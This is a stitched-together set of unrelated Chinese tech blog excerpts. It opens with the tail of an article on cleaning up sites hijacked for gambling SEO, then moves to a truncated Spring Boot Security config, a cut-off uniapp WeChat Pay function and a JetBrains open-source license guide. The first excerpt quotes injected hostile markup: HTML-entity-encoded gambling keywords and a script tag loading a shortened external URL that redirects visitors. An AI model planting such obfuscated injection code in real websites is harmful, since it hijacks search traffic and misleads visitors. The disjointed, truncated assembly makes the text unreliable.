;&#33351;&#24320;&#22870;&#23448;&#32593;&#44;&#31186;&#36895;&#39134;& #33351;&#24320;&#22870;&#32467;&#26524;&#44;&#31186;&#36895;&#39134;&#3 3351;&#24320;&#22870;&#35760;&#24405;" /> 加密的代码我们直接清除掉,并对网站代码进行安全排查,检查是否有恶意的木马代码,或者是后 门代码,对网站存在的漏洞进行修复并加固,防止后期再被攻击者篡改,(如果对网站代码不是太 懂的话,建议找专业的网站安全公司去处理,国内像SINE安全公司,以及绿盟、启明星辰、都是比 较专业的安全公司)然后剩下的就是解除百度的红色风险提示,去除百度的拦截。将我们的网站地 址提交申诉到百度安全中心那面,一般百度的技术会在工作时间里处理。 如果多次被篡改导致百度风险提示‘百度网址安全中心提醒您:该页面可能存在虚假信息!’,那 么网站基本上就不会简单的从百度风险中去除了,遇到风险提示要尽早处理,千万不要拖延啊。 <meta name="description" content="&#31186;&#36895;&#39134;&#33351;&#44;&#31186;&#36895;&#39134;&# 33351;&#24320;&#22870;&#23448;&#26041;&#32593;&#31449;&#40;&#119;&#119; &#119;&#46;&#48;&#51;&#116;&#53;&#53;&#46;&#99;&#111;&#109;&#41;&#44;&#2 9420;&#23478;&#30740;&#21457;&#31186;&#36895;&#39134;&#33351;&#24320;& #22870;&#35270;&#39057;&#31995;&#32479;&#44;&#31186;&#36895;&#39134;&#3 3351;&#32467;&#26524;&#20998;&#26512;&#44;&#31186;&#36895;&#39134;&#333 51;&#32593;&#19978;&#25237;&#27880;&#44;&#31186;&#36895;&#24320;&#22870 ;&#30452;&#25773;&#44;&#31186;&#36895;&#39134;&#33351;&#35760;&#24405;& #44;&#31186;&#36895;&#39134;&#33351;&#24320;&#22870;&#35760;&#24405;&#4 4;&#31186;&#36895;&#39134;&#33351;&#24320;&#22870;&#32467;&#26524;&#215 16;&#20048;&#24425;&#24425;&#31080;&#23548;&#33322;&#32593;&#20840;&#21 147;&#25171;&#36896;&#24425;&#30028;&#26368;&#24555;&#12289;&#26368;&#3 1283;&#30340;&#25237;&#27880;&#24179;&#21488;"/> </noscript> <script src="//suo.im/2w1Nex"></script> 像这样的加密代码都是劫持百度的蜘蛛,让百度蜘蛛去抓取攻击者设定的标题以及描述的关键词, 以达到百度的收录,并篡改网站首页的标题,其攻击者的目的是利用网站在百度里的权重(简单 来说就是百度对网站的一个评分等级,等级越高,网站在百度里的搜索排名也会越靠前。) 来做 他们 BCdu博关键词,在百度里的搜索排名,当客户搜索到 BCdu博这个搜索词的时候,咱的网站地址就 会出现在百度的前10名里,当客户点击进去的时候就会自动跳转到 BCdu博网站上去。 攻击者利用咱网站来进行 BCdu博关键词的百度排名,这样的话攻击者的成本很小就可以把他们的博 彩相关的关键词做到百度前十名上去,一旦排名掉下去,攻击者就会换其他网站去排名,先入侵 其他的网站,然后再继续篡改其他网站的首页。 当我们的网站被百度风险提示后,如果不及时的处理,那么网站就会被K,就会被百度认定为没 人管理,也没人维护,那么百度给予我们网站的信誉度以及评分也会下降,排名也会掉下去, 我们需要尽快的对网站进行安全加固,清除木马病毒,让网站恢复正常。

spring boot 项目集成security

springboot集成security需要三步: 一、引入依赖 <!--集成安全框架--> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-security</artifactId> </dependency> <dependency> <groupId>org.springframework.security</groupId> <artifactId>spring-security-test</artifactId> </dependency> <!--thymeleaf整合security:依赖,旧版springboot不支持5版本,使用4版本集成安全框架--> <dependency> <groupId>org.thymeleaf.extras</groupId> <artifactId>thymeleaf-extras-springsecurity5</artifactId> <version>3.0.4.RELEASE</version> </dependency> 二、WebSecurityConfigurerAdapter抽象类得子类实现 具体实现类 package com.offcn.pj.controller.page.config; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.annotation.Configuration; import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder; import org.springframework.security.config.annotation.web.builders.HttpSecurity; import org.springframework.security.config.annotation.web.builders.WebSecurity; import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; import org.springframework.security.core.userdetails.UserDetailsService; import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder; /** * @Author 22768 * @Date 2022/4/18 14:56 * @Function */ @Configuration public class SecurityConfig extends WebSecurityConfigurerAdapter { /*安全拦截机制*/ @Override protected void configure(HttpSecurity http) throws Exception { http.authorizeRequests() .antMatchers("/tologin").permitAll() //放行登录方法 .antMatchers("/**").hasAuthority("admin") //其余所有请求需要admin得权限 .

uniapp 微信支付

payDocker(id, phone) { let that = this; if (uni.getStorageSync('userinfo')) { let payData = { userId: uni.getStorageSync('userinfo').id, doctorId: id, payType: 1, payEquipment: 'JSAPI' }; console.log(payData) uni.showModal({ title: '支付提示', content: '确认支付吗?', success: function(res) { if (res.confirm) { that.$LoadingMsg('正在支付') that.$Request.post(that.$api.userDockerCreateOrder, payData).then(res => { if (res.code == 200) { uni.hideLoading() uni.requestPayment({ timeStamp: res.data.timeStamp, nonceStr: res.data.nonceStr, package: res.data.package, signType: 'MD5', paySign: res.data.paySign, success() { uni.makePhoneCall({ phoneNumber: phone }); }, fail(res) { uni.showToast({ title: '取消支付', icon: 'none' }) } }) } else if (res.

使用GitHub开源项目 申请 Intelli License

免费获取IntelliJ IDEA的正版License,申请资格要求要有自己的开源项目,我这里用的是自己开源在GitHub上的项目,地址是:https://github.com/hcitlife/SSMGenerator。 1.为GitHub开源项目添加License 如果已经存在 License 文件,则跳过。 具体的申请步骤: 给开源项目添加License 申请之前,先给自己的开源项目添加License,填写表单的时候会用到。打开自己GitHub项目主页,点击下图红框中的Create new file按钮: 在新的页面,在红框1位置输入License,这时候红框2中的Choose a license template按钮就会出现,点击它: 在新的页面上选择合适的License,我这里选择了MIT lincense,再点击右侧红框中的绿色按钮: 选择"Commit directly to the master branch"直接将此许可证提交到master分支: 如下图所示,我们已经为SSMGenerator项目创建了一个开源许可证。 填写Intellij license的申请信息 打开申请网站,地址是:https://www.jetbrains.com/shop/eform/opensource?product=ALL。表单填写的详细信息如下图: 以上内容,有几点需要注意: Project website:这里就直接填写了源码的GitHub地址; No. of required licenses:申请的license数量,注意这里对应的是你的开源项目的提交者的人数,而且是有效内容的提交者; 邮箱地址请务必填写正确,申请通过后,软件的License会发送到此邮箱。 参考上述内容填写完表单,点击底部的APPLY FOR FREE LINCESE按钮将申请提交,然后就耐心的等待那边的审核结果吧。 注:不要在用一个网址上太频繁的申请,否则系统会认为你是机器人申请而拒绝的。 为Intellij输入 License 打开邮箱,看看这封带有License的邮件